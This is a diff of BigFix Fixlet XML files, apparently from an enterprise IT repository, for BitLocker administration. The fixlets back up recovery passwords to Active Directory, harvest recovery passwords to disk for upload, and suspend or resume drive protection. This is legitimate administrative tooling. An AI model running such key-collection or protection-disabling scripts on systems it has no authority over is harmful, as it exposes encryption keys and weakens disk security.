+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+$BitLocker = Get-WmiObject -Namespace 'Root\cimv2\Security\MicrosoftVolumeEncryption' -Class 'Win32_EncryptableVolume' -Filter "DriveLetter = 'C:'"
+
+$ProtectorID = ($BitLocker.GetKeyProtectors()).VolumeKeyProtectorID
+
+$Result = -1
+
+foreach($ID in $ProtectorID) {{
+    if ($Bitlocker.GetKeyProtectorType($ID).KeyProtectorType -ne 3) {{ continue }
+
+    $Result = $BitLocker.BackupRecoveryInformationToActiveDirectory($ID).ReturnValue
+}
+
+$host.SetShouldExit($Result)
+exit
+_end_
+
+move __createfile powershell.ps1
+
+// We use command here so we can get a return code, file doesnt provide us the return code.
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -Command "& .\powershell.ps1"
+
+// AD Backup Failed
+continue if {exit code of action = 0}
+
+exit]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes
index 34720c769..b4d51dc0d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Probe - Windows (21335).bes	
@@ -1,118 +1,118 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Recovery Password Probe - Windows
-  ID       : 21335
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-08-25T11:45:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Recovery Password Probe - Windows</Title>
-    <Description><![CDATA[<DIV class=subsection>This probe grabs the current bitlocker recovery password for the system in it's raw format and outputs it to disk to be gathered by analyses.
-<P>Creates a Volume-RecoveryPwd.txt file in __BESData. If there is already a file it checks to see if the recovery key has changed. If it has changed it archives the old one and writes the new recovery key to disk</P>
-<P>Example</P>
-<UL>
-<LI>C-RecoveryPwd.txt
-<LI>D-RecoveryPwd.txt</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P></DIV>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
-action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-param (
-    $OutFolder = "."
-)
-
-#Regex for extracting the volume letters from the BitLocker Status
-[regex] $VolumeRegex = "Volume ([a-zA-Z]:)"
-[regex] $RecoveryPwdRegex = "Password: \s`r`n([0-9-]*)"
-
-#Get Bitlocker Status: Windows 7+
-$BitlockerStatus = (manage-bde -status)
-
-#Extract Volume Letters from Bitlocker Status
-$Volumes = $VolumeRegex.Matches($BitlockerStatus) | foreach-object {{$_.groups[1].value}
-
-#Get Recovery Passwords
-foreach ($Volume in $Volumes) {{
-    $ProtectorInfo = manage-bde -protectors -get $Volume -t RecoveryPassword
-
-    #Check protector for numerical password
-    $PasswordSection = $ProtectorInfo | select-string -Pattern "\s+\sPassword:"
-
-    #Skip protectors that don't contain a numerical password
-    if ($PasswordSection -eq $null) {{write-verbose "The protector $($ProtectorInfo[6]) for volume $Volume does not have a recovery password"; continue;}
-
-    #Get the line number for the password
-    $PwdIndex = $PasswordSection | select-object LineNumber
-
-    #Grab the recovery key and trim spaces. If multiple keys are defined grab the first one.
-    $RecoveryPwd = $ProtectorInfo[($PwdIndex | Select-Object -first 1).LineNumber].trim()
-
-    #Determine Storage Path for recovery key:
-    $KeyStoragePath = "$OutFolder\$($Volume[0])-RecoveryPwd.txt"
-
-    #Check for previous recovery key
-    if (test-path $KeyStoragePath){{
-        $OldKey = get-content $KeyStoragePath
-        if ($OldKey -eq $RecoveryPwd) {{ #New Key is the same, move on
-            write-verbose "Recovery Key is already recorded. Moving on."
-            continue;
-        } else {{ #New Key is Different -- move old key
-            write-verbose "Recovery Key is different than previously recorded. Archiving old key and recording new key."
-            rename-item $KeyStoragePath "$($Volume[0])-RecoveryPwd-$(get-date -f "yyyyMMddHHmmss").txt"
-        }
-    }
-
-    #If asked to, store the recovery key
-    if ($OutFolder -ne $null) {{"$RecoveryPwd" > "$OutFolder\$($Volume[0])-RecoveryPwd.txt"}
-}
-_end_
-
-move __createfile powershell.ps1
-
-//
-// Configure Upload Manager
-//
-
-setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
-setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
-setting "_BESClient_ArchiveManager_FileSet-RECOVER"="{parameter "Storage"}\*.*" on "{now}" for client
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
-
-archive now
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Recovery Password Probe - Windows
+  ID       : 21335
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-08-25T11:45:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Recovery Password Probe - Windows</Title>
+    <Description><![CDATA[<DIV class=subsection>This probe grabs the current bitlocker recovery password for the system in it's raw format and outputs it to disk to be gathered by analyses.
+<P>Creates a Volume-RecoveryPwd.txt file in __BESData. If there is already a file it checks to see if the recovery key has changed. If it has changed it archives the old one and writes the new recovery key to disk</P>
+<P>Example</P>
+<UL>
+<LI>C-RecoveryPwd.txt
+<LI>D-RecoveryPwd.txt</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+
+folder create "{parameter "Storage"}"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+param (
+    $OutFolder = "."
+)
+
+#Regex for extracting the volume letters from the BitLocker Status
+[regex] $VolumeRegex = "Volume ([a-zA-Z]:)"
+[regex] $RecoveryPwdRegex = "Password: \s`r`n([0-9-]*)"
+
+#Get Bitlocker Status: Windows 7+
+$BitlockerStatus = (manage-bde -status)
+
+#Extract Volume Letters from Bitlocker Status
+$Volumes = $VolumeRegex.Matches($BitlockerStatus) | foreach-object {{$_.groups[1].value}
+
+#Get Recovery Passwords
+foreach ($Volume in $Volumes) {{
+    $ProtectorInfo = manage-bde -protectors -get $Volume -t RecoveryPassword
+
+    #Check protector for numerical password
+    $PasswordSection = $ProtectorInfo | select-string -Pattern "\s+\sPassword:"
+
+    #Skip protectors that don't contain a numerical password
+    if ($PasswordSection -eq $null) {{write-verbose "The protector $($ProtectorInfo[6]) for volume $Volume does not have a recovery password"; continue;}
+
+    #Get the line number for the password
+    $PwdIndex = $PasswordSection | select-object LineNumber
+
+    #Grab the recovery key and trim spaces. If multiple keys are defined grab the first one.
+    $RecoveryPwd = $ProtectorInfo[($PwdIndex | Select-Object -first 1).LineNumber].trim()
+
+    #Determine Storage Path for recovery key:
+    $KeyStoragePath = "$OutFolder\$($Volume[0])-RecoveryPwd.txt"
+
+    #Check for previous recovery key
+    if (test-path $KeyStoragePath){{
+        $OldKey = get-content $KeyStoragePath
+        if ($OldKey -eq $RecoveryPwd) {{ #New Key is the same, move on
+            write-verbose "Recovery Key is already recorded. Moving on."
+            continue;
+        } else {{ #New Key is Different -- move old key
+            write-verbose "Recovery Key is different than previously recorded. Archiving old key and recording new key."
+            rename-item $KeyStoragePath "$($Volume[0])-RecoveryPwd-$(get-date -f "yyyyMMddHHmmss").txt"
+        }
+    }
+
+    #If asked to, store the recovery key
+    if ($OutFolder -ne $null) {{"$RecoveryPwd" > "$OutFolder\$($Volume[0])-RecoveryPwd.txt"}
+}
+_end_
+
+move __createfile powershell.ps1
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-RECOVER"="{parameter "Storage"}\*.*" on "{now}" for client
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1 -OutFolder "{parameter "Storage"}"
+
+archive now
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes
index 8026882f7..2782f34ed 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Refresh System Drive Encryption - Windows (24097).bes	
@@ -1,56 +1,56 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Refresh System Drive Encryption - Windows
-  ID       : 24097
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-21T19:19:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Refresh System Drive Encryption - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will suspend and immediately resume BitLocker protection.</P>
-<P>This should be performed immediately after any TPM/Recovery issues on an endpoint.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
-    <Relevance><![CDATA[(boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-
-manage-bde -protectors -disable "{name of drive of system folder}" {if (version of operating system < "6.2") then ("-RebootCount 1") else ("")}
-manage-bde -protectors -enable "{name of drive of system folder}"
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Refresh System Drive Encryption - Windows
+  ID       : 24097
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-21T19:19:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Refresh System Drive Encryption - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will suspend and immediately resume BitLocker protection.</P>
+<P>This should be performed immediately after any TPM/Recovery issues on an endpoint.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+
+manage-bde -protectors -disable "{name of drive of system folder}" {if (version of operating system < "6.2") then ("-RebootCount 1") else ("")}
+manage-bde -protectors -enable "{name of drive of system folder}"
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File powershell.ps1
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes
index f86c4b70c..98ac9d0cf 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Resume System Drive Encryption - Windows (24111).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Resume System Drive Encryption - Windows
-  ID       : 24111
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-22T05:02:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Resume System Drive Encryption - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will resume paused BitLocker protection on the system volume.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Drive is Encryptable (short circuit) */ if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
-    <Relevance><![CDATA[/* Drive is not protected */ (not boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
-    <Relevance><![CDATA[/* Drive is encrypted though */ (boolean value of selects ("ConversionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-
-manage-bde -protectors -enable &quot;{name of drive of system folder}&quot;
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Resume System Drive Encryption - Windows
+  ID       : 24111
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:02:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Resume System Drive Encryption - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will resume paused BitLocker protection on the system volume.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Drive is Encryptable (short circuit) */ if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[/* Drive is not protected */ (not boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Relevance><![CDATA[/* Drive is encrypted though */ (boolean value of selects ("ConversionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
+
+delete __createfile
+delete powershell.ps1
+
+createfile until _end_
+
+manage-bde -protectors -enable &quot;{name of drive of system folder}&quot;
+
+_end_
+
+move __createfile powershell.ps1
+
+waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes
index a067fcfa3..98f9e3504 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Suspend System Drive Encryption - Windows (24112).bes	
@@ -1,53 +1,53 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Suspend System Drive Encryption - Windows
-  ID       : 24112
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-22T05:02:56
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Suspend System Drive Encryption - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet will suspend BitLocker protection on the system volume.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
-    <Relevance><![CDATA[(boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-parameter &quot;PowerShellExe&quot;=&quot;{ pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) }&quot;
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-
-manage-bde -protectors -disable &quot;{name of drive of system folder}&quot;
-
-_end_
-
-move __createfile powershell.ps1
-
-waithidden &quot;{parameter &quot;PowershellExe&quot;}&quot; -ExecutionPolicy Bypass -File powershell.ps1
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Suspend System Drive Encryption - Windows
+  ID       : 24112
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:02:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Suspend System Drive Encryption - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet will suspend BitLocker protection on the system volume.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
+    <Relevance><![CDATA[(boolean value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption")]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
